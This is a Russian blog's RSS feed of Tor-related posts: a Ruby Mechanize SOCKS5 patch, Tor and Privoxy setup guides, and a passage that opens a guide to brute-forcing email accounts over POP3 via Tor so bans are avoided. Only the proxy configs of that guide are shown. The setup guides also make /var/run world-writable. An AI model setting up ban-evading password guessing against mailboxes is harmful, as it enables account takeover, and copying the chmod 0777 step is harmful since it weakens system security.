<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>по стопам webkill&#039;а &#187; tor</title>
	<atom:link href="http://blog.lukmus.ru/tag/tor/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.lukmus.ru</link>
	<description>это наш химический дом для печальных жителей Земли</description>
	<lastBuildDate>Sat, 21 Oct 2023 19:10:13 +0000</lastBuildDate>
	<language>ru-RU</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4.2</generator>
		<item>
		<title>Mechanize через SOCKS5 или парсим Tor</title>
		<link>http://blog.lukmus.ru/2016/03/05/mechanize-socks/</link>
		<comments>http://blog.lukmus.ru/2016/03/05/mechanize-socks/#comments</comments>
		<pubDate>Sat, 05 Mar 2016 17:54:48 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[ruby & ruby on rails]]></category>
		<category><![CDATA[mechanize]]></category>
		<category><![CDATA[socks5]]></category>
		<category><![CDATA[tor]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=2400</guid>
		<description><![CDATA[Незаменимый для парсинга гем Mechanize, эмулирующий браузер, по умолчанию поддерживает только обычные прокси. Широкой общественности известен факт, что для подключения к Tor-сайтам используется SOCKS5, который организуется через Privoxy. Этот пост повествует как заставить Mechanize подключиться к Tor-сайтам. Обычный запрос Mechanize&#8217;а через прокси имеет вид что-то типа: 1 2 3 browser = Mechanize.new browser.agent.set_proxy&#40;host,port&#41; page=browser.get 'http://lukmus.ru' [...]]]></description>
			<content:encoded><![CDATA[<p>Незаменимый для парсинга гем <a href="https://github.com/sparklemotion/mechanize" rel="nofollow" target="_blank">Mechanize</a>, эмулирующий браузер, по умолчанию поддерживает только обычные прокси. Широкой общественности известен факт, что для подключения к Tor-сайтам используется SOCKS5, который организуется через <a href="http://blog.lukmus.ru/2013/03/16/ustanovka-torprivoxy-na-centos-6/">Privoxy</a>. Этот пост повествует как заставить Mechanize подключиться к Tor-сайтам.<br />
<img src="http://blog.lukmus.ru/wp-content/uploads/2016/03/m1000x1000.jpg" alt="" /><span id="more-2400"></span><br />
Обычный запрос Mechanize&#8217;а через прокси имеет вид что-то типа:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="ruby" style="font-family:monospace;">browser = Mechanize.<span style="color:#9900CC;">new</span>
browser.<span style="color:#9900CC;">agent</span>.<span style="color:#9900CC;">set_proxy</span><span style="color:#006600; font-weight:bold;">&#40;</span>host,port<span style="color:#006600; font-weight:bold;">&#41;</span>
page=browser.<span style="color:#9900CC;">get</span> <span style="color:#996600;">'http://lukmus.ru'</span></pre></td></tr></table></div>

<p>Жизнь была бы проще если бы мы могли заменить метод <code>set_proxy</code> класса <code>Mechanize::HTTP::Agent</code> на аналогичный <code>set_socks</code>, но такого метода в этом классе нет. Однако его можно дописать самому, например вот так:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
</pre></td><td class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">&quot;socksify&quot;</span>
<span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">'socksify/http'</span>
&nbsp;
<span style="color:#9966CC; font-weight:bold;">class</span> <span style="color:#6666ff; font-weight:bold;">Faraday::Adapter::NetHttp</span>
  <span style="color:#9966CC; font-weight:bold;">def</span> net_http_class<span style="color:#006600; font-weight:bold;">&#40;</span>env<span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">if</span> proxy = env<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#ff3333; font-weight:bold;">:request</span><span style="color:#006600; font-weight:bold;">&#93;</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#ff3333; font-weight:bold;">:proxy</span><span style="color:#006600; font-weight:bold;">&#93;</span>
      <span style="color:#9966CC; font-weight:bold;">if</span> proxy<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#ff3333; font-weight:bold;">:uri</span><span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#9900CC;">scheme</span> == <span style="color:#996600;">'socks'</span>
        <span style="color:#6666ff; font-weight:bold;">Net::HTTP::SOCKSProxy</span><span style="color:#006600; font-weight:bold;">&#40;</span>proxy<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#ff3333; font-weight:bold;">:uri</span><span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#9900CC;">host</span>, proxy<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#ff3333; font-weight:bold;">:uri</span><span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#9900CC;">port</span><span style="color:#006600; font-weight:bold;">&#41;</span>
      <span style="color:#9966CC; font-weight:bold;">else</span>
        <span style="color:#6666ff; font-weight:bold;">Net::HTTP::Proxy</span><span style="color:#006600; font-weight:bold;">&#40;</span>proxy<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#ff3333; font-weight:bold;">:uri</span><span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#9900CC;">host</span>, proxy<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#ff3333; font-weight:bold;">:uri</span><span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#9900CC;">port</span>, proxy<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#ff3333; font-weight:bold;">:user</span><span style="color:#006600; font-weight:bold;">&#93;</span>, proxy<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#ff3333; font-weight:bold;">:password</span><span style="color:#006600; font-weight:bold;">&#93;</span><span style="color:#006600; font-weight:bold;">&#41;</span>
      <span style="color:#9966CC; font-weight:bold;">end</span>
    <span style="color:#9966CC; font-weight:bold;">else</span>
      <span style="color:#6666ff; font-weight:bold;">Net::HTTP</span>
    <span style="color:#9966CC; font-weight:bold;">end</span>
  <span style="color:#9966CC; font-weight:bold;">end</span>
<span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
<span style="color:#9966CC; font-weight:bold;">class</span> <span style="color:#6666ff; font-weight:bold;">Mechanize::HTTP::Agent</span>
&nbsp;
  public
&nbsp;
  <span style="color:#9966CC; font-weight:bold;">def</span> set_socks addr, port
    set_http <span style="color:#9966CC; font-weight:bold;">unless</span> <span style="color:#0066ff; font-weight:bold;">@http</span>
    <span style="color:#9966CC; font-weight:bold;">class</span> <span style="color:#006600; font-weight:bold;">&lt;&lt;</span> <span style="color:#0066ff; font-weight:bold;">@http</span>
      attr_accessor <span style="color:#ff3333; font-weight:bold;">:socks_addr</span>, <span style="color:#ff3333; font-weight:bold;">:socks_port</span>
&nbsp;
      <span style="color:#9966CC; font-weight:bold;">def</span> http_class
        <span style="color:#6666ff; font-weight:bold;">Net::HTTP</span>.<span style="color:#9900CC;">SOCKSProxy</span><span style="color:#006600; font-weight:bold;">&#40;</span>socks_addr, socks_port<span style="color:#006600; font-weight:bold;">&#41;</span>
      <span style="color:#9966CC; font-weight:bold;">end</span>
    <span style="color:#9966CC; font-weight:bold;">end</span>
    <span style="color:#0066ff; font-weight:bold;">@http</span>.<span style="color:#9900CC;">socks_addr</span> = addr
    <span style="color:#0066ff; font-weight:bold;">@http</span>.<span style="color:#9900CC;">socks_port</span> = port
  <span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
<span style="color:#9966CC; font-weight:bold;">end</span></pre></td></tr></table></div>

<p>Как подключать файлы, с содержанием подобному выше, к Rails-приложению каждый знает и без меня.<br />
<meta property="og:image" content="http://blog.lukmus.ru/wp-content/uploads/2016/03/m1000x1000.jpg" /></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2016/03/05/mechanize-socks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>установка tor+privoxy на CentOS 6</title>
		<link>http://blog.lukmus.ru/2013/03/16/ustanovka-torprivoxy-na-centos-6/</link>
		<comments>http://blog.lukmus.ru/2013/03/16/ustanovka-torprivoxy-na-centos-6/#comments</comments>
		<pubDate>Sat, 16 Mar 2013 00:23:59 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[настройка и установка]]></category>
		<category><![CDATA[CentOS]]></category>
		<category><![CDATA[privoxy]]></category>
		<category><![CDATA[tor]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=1949</guid>
		<description><![CDATA[Нездоровая тенденция хостеров отказываться от Fedora заставляет меня изучать CentOS. А точнее, запоминать новые способы установки того или иного ПО, слезы находят, когда вспоминаешь всеобъемлющие репозитории Fedora. установка Tor на CentOS 6 Официальный сайт Tor&#8217;а дезинформирует, на нем указаны неверные ссылки в настройке репозитариев в инструкции по установке на RH-линуксы. Правильный конфиг репы ниже, его [...]]]></description>
			<content:encoded><![CDATA[<p>Нездоровая тенденция хостеров отказываться от Fedora заставляет меня изучать CentOS. А точнее, запоминать новые способы установки того или иного ПО, слезы находят, когда вспоминаешь всеобъемлющие репозитории Fedora.<br />
<img src="http://blog.lukmus.ru/wp-content/uploads/2013/03/kadyrov1.jpg" alt="" title="Рамзан Кадыров и Абубакар Эдельгериев захватывают Instagram" width="517" height="419" class="alignnone size-full wp-image-1956" /><span id="more-1949"></span></p>
<h3>установка Tor на CentOS 6</h3>
<p>Официальный сайт Tor&#8217;а дезинформирует, на нем указаны неверные ссылки в настройке репозитариев в <a href="https://www.torproject.org/docs/rpms.html.en" target="_blank" rel='nofollow'>инструкции по установке</a> на RH-линуксы. Правильный конфиг репы ниже, его надо поместить в предварительно созданный <code>/etc/yum.repos.d/Tor.repo</code>.</p>

<div class="wp_syntax"><table><tr><td class="code"><pre class="repo" style="font-family:monospace;">[tor]
name=Tor experimental repo
enabled=1
#baseurl=http://deb.torproject.org/torproject.org/rpm/DISTRIBUTION/$basearch/
baseurl=http://deb.torproject.org/torproject.org/rpm/el/6/$basearch/
gpgcheck=1
gpgkey=http://deb.torproject.org/torproject.org/rpm/RPM-GPG-KEY-torproject.org.asc
&nbsp;
[tor-source]
name=Tor experimental source repo
enabled=1
autorefresh=0
#baseurl=http://deb.torproject.org/torproject.org/rpm/DISTRIBUTION/SRPMS
baseurl=http://deb.torproject.org/torproject.org/rpm/el/6/SRPMS/
gpgcheck=1
gpgkey=http://deb.torproject.org/torproject.org/rpm/RPM-GPG-KEY-torproject.org.asc</pre></td></tr></table></div>

<p>Далее установка и запуск никак не отличается от федореной:</p>

<div class="wp_syntax"><table><tr><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666;"># </span><span style="color: #c20cb9; font-weight: bold;">yum install</span> tor <span style="color: #660033;">-y</span></pre></td></tr></table></div>


<div class="wp_syntax"><table><tr><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666;"># </span>service tor start</pre></td></tr></table></div>

<h3>установка privoxy на CentOS 6</h3>
<p><a href="http://www.privoxy.org/user-manual/installation.html" target="_blank" rel='nofollow'>Инструкция на офсайте</a> ничего дельного кроме сборки из тарболов предложить не может, зато могу я.<br />
Прежде всего нужно установить одну штуку, которя сама собственно, особо не нужна, но нужна ее библиотека одна.</p>

<div class="wp_syntax"><table><tr><td class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">yum provides</span> libpcreposix.so.0
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
 <span style="color: #000000; font-weight: bold;">*</span> base: mirror.nl.leaseweb.net
 <span style="color: #000000; font-weight: bold;">*</span> extras: centos.mirror.triple-it.nl
 <span style="color: #000000; font-weight: bold;">*</span> updates: mirrors.supportex.net
pcre-<span style="color: #000000;">7.8</span>-<span style="color: #000000;">6</span>.el6.i686 : Perl-compatible regular expression library
Repo        : base
Matched from:
Other       : libpcreposix.so.0
&nbsp;
pcre-<span style="color: #000000;">7.8</span>-<span style="color: #000000;">6</span>.el6.i686 : Perl-compatible regular expression library
Repo        : installed
Matched from:
Other       : Provides-match: libpcreposix.so.0</pre></td></tr></table></div>


<div class="wp_syntax"><table><tr><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666;"># </span><span style="color: #c20cb9; font-weight: bold;">yum install</span> pcre-<span style="color: #000000;">7.8</span>-<span style="color: #000000;">6</span>.el6.i686 <span style="color: #660033;">-y</span></pre></td></tr></table></div>

<p>Теперь качаем, устанавливаем и запускаем:</p>

<div class="wp_syntax"><table><tr><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666;">$ </span><span style="color: #c20cb9; font-weight: bold;">wget</span> ftp:<span style="color: #000000; font-weight: bold;">//</span>ftp.pbone.net<span style="color: #000000; font-weight: bold;">/</span>mirror<span style="color: #000000; font-weight: bold;">/</span>rpm.razorsedge.org<span style="color: #000000; font-weight: bold;">/</span>centos-<span style="color: #000000;">4</span><span style="color: #000000; font-weight: bold;">/</span>RE-test<span style="color: #000000; font-weight: bold;">/</span>privoxy-3.0.12-<span style="color: #000000;">1</span>.el4.re.i386.rpm</pre></td></tr></table></div>


<div class="wp_syntax"><table><tr><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666;"># </span>rpm <span style="color: #660033;">-Uvh</span> privoxy-3.0.12-<span style="color: #000000;">1</span>.el4.re.i386.rpm</pre></td></tr></table></div>


<div class="wp_syntax"><table><tr><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666;"># </span>service privoxy start</pre></td></tr></table></div>

<p>Если у вас CentOS x64 париться из-за <code>i386</code> в названии rpm-файла не надо, у меня все нормально встало.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2013/03/16/ustanovka-torprivoxy-na-centos-6/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>настройка privoxy 3.0.16 под tor</title>
		<link>http://blog.lukmus.ru/2010/08/03/nastroyka-privoxy-3-0-16-pod-tor/</link>
		<comments>http://blog.lukmus.ru/2010/08/03/nastroyka-privoxy-3-0-16-pod-tor/#comments</comments>
		<pubDate>Tue, 03 Aug 2010 01:57:50 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[настройка и установка]]></category>
		<category><![CDATA[fedora 13 x64]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[privoxy]]></category>
		<category><![CDATA[standart.action]]></category>
		<category><![CDATA[tor]]></category>
		<category><![CDATA[конфигурация]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=334</guid>
		<description><![CDATA[Я тут приобрел новый аппарат и поэтому возникла необходимость установить туда ОС со всеми примочками заново, и я решил раз уж обновляться, то поставлю все новое и собственно поставил свою любимую Fedora x64 последней 13-ой версии (на старой машине стояла 11-я). Чтобы не конфигурировать все прикладное ПО заново я просто копировал конфиги со старой машины. [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" style="margin: 5px 10px;" src="http://www.torproject.org/images/top-left.png" alt="tor+privoxy" width="193" height="79" /> Я тут приобрел новый аппарат и поэтому возникла необходимость установить туда ОС со всеми примочками заново, и я решил раз уж обновляться, то поставлю все новое и собственно поставил свою любимую Fedora x64 последней 13-ой версии (на старой машине стояла 11-я).</p>
<p>Чтобы не конфигурировать все прикладное ПО заново я просто копировал конфиги со старой машины. И сегодня вдруг обнаружил, что мой privoxy не пашет как надо т.е. старый конфиг под privoxy 3.0.10 и меньше ей не подошел, и новую актуальную конфигурацию и весь процесс установки я опишу здесь. Напомню, что все что здесь будет описано 100% подходит только для Red Hat Linux&#8217;ов, возможно это подойдет и для других, однако такие варианты не тестировались.<span id="more-334"></span></p>
<div style="font-size: 1.3em;"><strong>установка</strong></div>
<p>Здесь ничего не изменилось, ставим под root&#8217;ом через yum:</p>
<blockquote><p><code>yum install privoxy</code></p></blockquote>
<p>Теперь нужно дать права privoxy на создание файла /var/run/privoxy.pid, а то он будет орать</p>
<blockquote><p><code># service privoxy start<br />
No /var/run/privoxy.pid file found, exiting.<br />
Starting Privoxy, Failed.</code></p></blockquote>
<p>Лично я не страдал фигней с вычислением под каким пользователем работает privoxy и добавлению его в группу, после чего было бы возможно грамотно выставить права на директорию, поэтому я просто разрешил писать в /var/run всем.</p>
<blockquote><p><code># chmod 0777 /var/run</code></p></blockquote>
<div style="font-size: 1.3em;"><strong>конфигурация под tor</strong></div>
<p>Предыдущую конфигурацию я приводил в статье про <a href="http://blog.lukmus.ru/?p=14" target="_blank">брутфорс</a>. Так вот открываем наш конфиг /etc/privoxy/config и начинаем его править.</p>
<p><strong>/etc/privoxy/config</strong></p>
<p>Во-первых нужно добавить к именам всех так называемых экшенфайлов (actionsfile) расширение т.е. заменим</p>
<blockquote><p><code>actionsfile standard  # Internal purpose, recommended<br />
actionsfile default   # Main actions file<br />
actionsfile user      # User customizations</code></p></blockquote>
<p>на следующий конфиг</p>
<blockquote><p><code>actionsfile standard.action # Internal purpose, recommended<br />
actionsfile default.action   # Main actions file<br />
actionsfile user.action       # User customizations</code></p></blockquote>
<p>в противном случае в логах будет записано что-то вроде</p>
<blockquote><p><code>Aug 03 03:27:46.455 7f049cde2700 Info: Privoxy version 3.0.16<br />
Aug 03 03:27:46.455 7f049cde2700 Info: Program name: privoxy<br />
Aug 03 03:27:46.456 7f049cde2700 Fatal error: can't load actions file '/etc/privoxy/standard': No such file or directory. Note that beginning with Privoxy 3.0.7, actions files have to be specified with their complete file names.</code></p></blockquote>
<p>Таким образом наш конфигурационный файл /etc/privoxy/config будет выглядеть так:</p>
<blockquote><p><code># Generally, this file goes in /etc/privoxy/config<br />
#<br />
# Tor listens as a SOCKS4a proxy here:<br />
forward-socks4a / 127.0.0.1:9050 .<br />
confdir /etc/privoxy<br />
logdir /var/log/privoxy<br />
actionsfile standard.action # Internal purpose, recommended<br />
actionsfile default.action   # Main actions file<br />
actionsfile user.action       # User customizations<br />
filterfile default.filter<br />
#<br />
# Если хотите чтобы логи велись, то разкомментируйте две следующие строки<br />
#logfile logfile<br />
#jarfile jarfile<br />
#debug   0    # show each GET/POST/CONNECT request<br />
debug   4096 # Startup banner and warnings<br />
debug   8192 # Errors - *we highly recommended enabling this*<br />
#<br />
user-manual /usr/share/doc/privoxy/user-manual<br />
listen-address  127.0.0.1:8118<br />
toggle  1<br />
enable-remote-toggle 0<br />
enable-edit-actions 0<br />
enable-remote-http-toggle 0<br />
buffer-limit 4096</code></p></blockquote>
<p><strong>/etc/privoxy/standart.action</strong></p>
<p>Вторая проблема &#8211; по непонятным причинам в пакете с privoxy yum не нашел или не установил экшенфайл standart.action поэтому нам надо его взять из прошлого конфига или увидеть ниже.</p>
<blockquote><p><code>################<br />
#<br />
# Cautious settings -- safe for all sites, but offer little privacy protection<br />
#<br />
{ \<br />
+change-x-forwarded-for \<br />
+hide-from-header{block} \<br />
+set-image-blocker{pattern} \<br />
}<br />
standard.Cautious<br />
#<br />
################<br />
#<br />
# Medium settings -- safe for most sites, with reasonable protection/damage tradeoff<br />
#<br />
{ \<br />
+deanimate-gifs{last} \<br />
+filter{refresh-tags} \<br />
+filter{img-reorder} \<br />
+filter{banners-by-size} \<br />
+filter{webbugs} \<br />
+filter{jumping-windows} \<br />
+filter{ie-exploits} \<br />
+change-x-forwarded-for \<br />
+hide-from-header{block} \<br />
+hide-referrer{conditional-block} \<br />
+session-cookies-only \<br />
+set-image-blocker{pattern} \<br />
}<br />
standard.Medium<br />
#<br />
################<br />
#<br />
# Advanced settings -- reasonable privacy protection but<br />
# require some exceptions for trusted sites, most likely<br />
# because of cookies or SSL. Also testing ground for<br />
# new options.<br />
#<br />
# CAUTION: These settings can still be subverted by a<br />
# misconfigured client that executes code from untrusted<br />
# sources.<br />
#<br />
{ \<br />
+client-header-tagger{css-requests} \<br />
+client-header-tagger{image-requests} \<br />
+crunch-if-none-match \<br />
+crunch-outgoing-cookies \<br />
+crunch-incoming-cookies \<br />
+deanimate-gifs{last} \<br />
+fast-redirects{check-decoded-url} \<br />
+filter{html-annoyances} \<br />
+filter{content-cookies} \<br />
+filter{refresh-tags} \<br />
+filter{img-reorder} \<br />
+filter{banners-by-size} \<br />
+filter{banners-by-link} \<br />
+filter{webbugs} \<br />
+filter{jumping-windows} \<br />
+filter{frameset-borders} \<br />
+filter{quicktime-kioskmode} \<br />
+hide-if-modified-since{-60} \<br />
+change-x-forwarded-for \<br />
+hide-from-header{block} \<br />
+hide-referrer{conditional-block} \<br />
+limit-connect{,} \<br />
+overwrite-last-modified{randomize} \<br />
+set-image-blocker{pattern} \<br />
}<br />
standard.Advanced</code></p></blockquote>
<p>Если вы будете брать старый standart.action, то там нужно заменить все</p>
<blockquote><p><code>hide-forwarded-for-headers</code></p></blockquote>
<p>на</p>
<blockquote><p><code>change-x-forwarded-for</code></p></blockquote>
<p>в противном случае в логе /var/log/privoxy/logfile будет</p>
<blockquote><p><code>Aug 03 03:35:23.228 7f5a05657700 Info: Privoxy version 3.0.16<br />
Aug 03 03:35:23.228 7f5a05657700 Info: Program name: privoxy<br />
Aug 03 03:35:23.228 7f5a05657700 Fatal error: The action 'hide-forwarded-for-headers' is no longer valid in this Privoxy release. Use 'change-x-forwarded-for' instead</code>.</p></blockquote>
<div style="font-size: 1.3em;"><strong>запуск</strong></div>
<p>Тут все по старому: под рутом запускаем tor и privoxy:</p>
<blockquote><p><code># service privoxy start<br />
Starting Privoxy, OK.<br />
# service tor start<br />
Starting /usr/bin/tor:                                     [  OK  ]</code></p></blockquote>
<p>Для пользователей других веток Linux следует помнить, что у вас команда запуска демонов выглядит иначе, например в Slackware запуск privoxy будет так:</p>
<blockquote><p><code># service start privoxy</code></p></blockquote>
<p>Подробнее про конфигурацию privoxy можно прочитать на их оффсайте на русском языке <a href="http://privoxy.org.ru/user-manual/config.html" target="_blank">privoxy.org.ru</a> или же на полностью оффсайте <a href="http://www.privoxy.org/" target="_blank">privoxy.org</a>. А о конфингурации tor все шикарно написано на <a href="https://www.torproject.org/" target="_blank">torproject.org</a>, там, кстати, есть документация и на русском.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/08/03/nastroyka-privoxy-3-0-16-pod-tor/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>бессмертный универсальный брутфорс</title>
		<link>http://blog.lukmus.ru/2010/06/16/bessmertnyiy-universalnyiy-brutfors/</link>
		<comments>http://blog.lukmus.ru/2010/06/16/bessmertnyiy-universalnyiy-brutfors/#comments</comments>
		<pubDate>Wed, 16 Jun 2010 23:09:57 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[privoxy]]></category>
		<category><![CDATA[proxychains]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[tor]]></category>
		<category><![CDATA[брутфорс]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=14</guid>
		<description><![CDATA[Сам простой способ перебора, избегающий бан &#8211; брутфорсить через прокси/соксы. Однако, для этого приходиться искать прокси или покупать их. Первое нам не подходит т.к. публичные прокси долгие и быстро умерают, а второй не каждый может себе позволить. Наверное, для многих не секрет, что существует еще один способ &#8211; использование &#8216;луковой маршрутизации&#8217;. Для передачи пакета через [...]]]></description>
			<content:encoded><![CDATA[<p>Сам простой способ перебора, избегающий бан &#8211; брутфорсить через прокси/соксы.<br />
Однако, для этого приходиться искать прокси или покупать их. Первое нам не подходит т.к. публичные прокси долгие и быстро умерают, а второй не каждый может себе позволить.<br />
Наверное, для многих не секрет, что существует еще один способ &#8211; использование &#8216;луковой маршрутизации&#8217;.<br />
Для передачи пакета через &#8216;луковый маршрут&#8217; используют программу Tor.<br />
Это система, позволяющая устанавливать анонимное сетевое соединение, защищенное от прослушивания. Рассматривается как анонимная сеть, предоставляющая передачу данных в зашифрованном виде. Более подробно про Tor можно прочитать <a title="здесь" href="http://ru.wikipedia.org/wiki/Tor" target="_blank">здесь</a>.<br />
<a href="http://blog.lukmus.ru/wp-content/uploads/2010/06/0904bb7fb40d557d4b216309485c0878.jpg"><img src="http://blog.lukmus.ru/wp-content/uploads/2010/06/0904bb7fb40d557d4b216309485c0878.jpg" alt="" title="0904bb7fb40d557d4b216309485c0878" width="517" height="415" class="aligncenter size-full wp-image-1034" /></a><br />
Далее я рассмотрю использование tor&#8217;а для брутфорса email&#8217;ов по протоколу POP3.<span id="more-14"></span><br />
Итак, нам понадобиться:</p>
<ol>
<li>собственно сам Tor;</li>
<li><a title="Privoxy" href="http://www.privoxy.org/" target="_blank">Privoxy</a> — это свободный веб-прокси с расширенными возможностями фильтрования интернет-контента для защиты конфиденциальности (приватности) пользователей сети Интернет, изменения содержания веб-страниц, управления cookies, ограничения доступа к некоторым сайтам и удаления рекламы, баннеров, всплывающих окон, а также любого другого нежелательного контента («интернет-мусора»);</li>
<li><a title="Proxychains" href="http://proxychains.sourceforge.net/" target="_blank">Proxychains</a> &#8211; программа, направляющая пакет уровня выше протокола IP, через цепочки заданных proxy(http) или socks(https,smtp,pop3,imap,ftp и др. в стеке протоколов выше IP)</li>
</ol>
<p>Подробнее о их настройке можете прочитать на их официальных сайтах, в качестве примера, привожу мои настройки:</p>
<p>Tor (/etc/tor/torrc):</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="php" style="font-family:monospace;">DataDirectory <span style="color: #339933;">/</span><span style="color: #000000; font-weight: bold;">var</span><span style="color: #339933;">/</span>lib<span style="color: #339933;">/</span>tor<span style="color: #339933;">/.</span>tor
NewCircuitPeriod <span style="color: #cc66cc;">1</span>
Group toranon
User  toranon</pre></td></tr></table></div>

<p>Privoxy (/etc/privoxy/config):</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
</pre></td><td class="code"><pre class="php" style="font-family:monospace;">forward<span style="color: #339933;">-</span>socks4a <span style="color: #339933;">/</span> 127<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>1<span style="color: #339933;">:</span><span style="color: #cc66cc;">9050</span> <span style="color: #339933;">.</span>
confdir <span style="color: #339933;">/</span>etc<span style="color: #339933;">/</span>privoxy
logdir <span style="color: #339933;">/</span><span style="color: #000000; font-weight: bold;">var</span><span style="color: #339933;">/</span><span style="color: #990000;">log</span><span style="color: #339933;">/</span>privoxy
actionsfile standard  <span style="color: #666666; font-style: italic;"># Internal purpose, recommended
</span>actionsfile <span style="color: #b1b100;">default</span>   <span style="color: #666666; font-style: italic;"># Main actions file
</span>actionsfile user      <span style="color: #666666; font-style: italic;"># User customizations
</span>filterfile <span style="color: #b1b100;">default</span><span style="color: #339933;">.</span>filter
debug   <span style="color: #cc66cc;">4096</span> <span style="color: #666666; font-style: italic;"># Startup banner and warnings
</span>debug   <span style="color: #cc66cc;">8192</span> <span style="color: #666666; font-style: italic;"># Errors - *we highly recommended enabling this*
</span>user<span style="color: #339933;">-</span>manual <span style="color: #339933;">/</span>usr<span style="color: #339933;">/</span>share<span style="color: #339933;">/</span>doc<span style="color: #339933;">/</span>privoxy<span style="color: #339933;">/</span>user<span style="color: #339933;">-</span>manual
listen<span style="color: #339933;">-</span>address  127<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>1<span style="color: #339933;">:</span><span style="color: #cc66cc;">8118</span>
toggle  <span style="color: #cc66cc;">1</span>
enable<span style="color: #339933;">-</span>remote<span style="color: #339933;">-</span>toggle <span style="color: #cc66cc;">0</span>
enable<span style="color: #339933;">-</span>edit<span style="color: #339933;">-</span>actions <span style="color: #cc66cc;">0</span>
enable<span style="color: #339933;">-</span>remote<span style="color: #339933;">-</span>http<span style="color: #339933;">-</span>toggle <span style="color: #cc66cc;">0</span>
buffer<span style="color: #339933;">-</span>limit <span style="color: #cc66cc;">4096</span></pre></td></tr></table></div>

<p>Proxychains (/etc/proxychains.conf):</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#dynamic_chain
</span>random_chain  <span style="color: #666666; font-style: italic;">#случайный сервер
</span>chain_len <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span> <span style="color: #666666; font-style: italic;">#максимальная длина цепи
</span>tcp_read_time_out <span style="color: #cc66cc;">20000</span>
tcp_connect_time_out <span style="color: #cc66cc;">20000</span>
<span style="color: #666666; font-style: italic;">#список серверов
</span>socks4 127<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>1 <span style="color: #cc66cc;">9050</span>
socks4 127<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>1 <span style="color: #cc66cc;">9050</span>
socks4 127<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>1 <span style="color: #cc66cc;">9050</span>
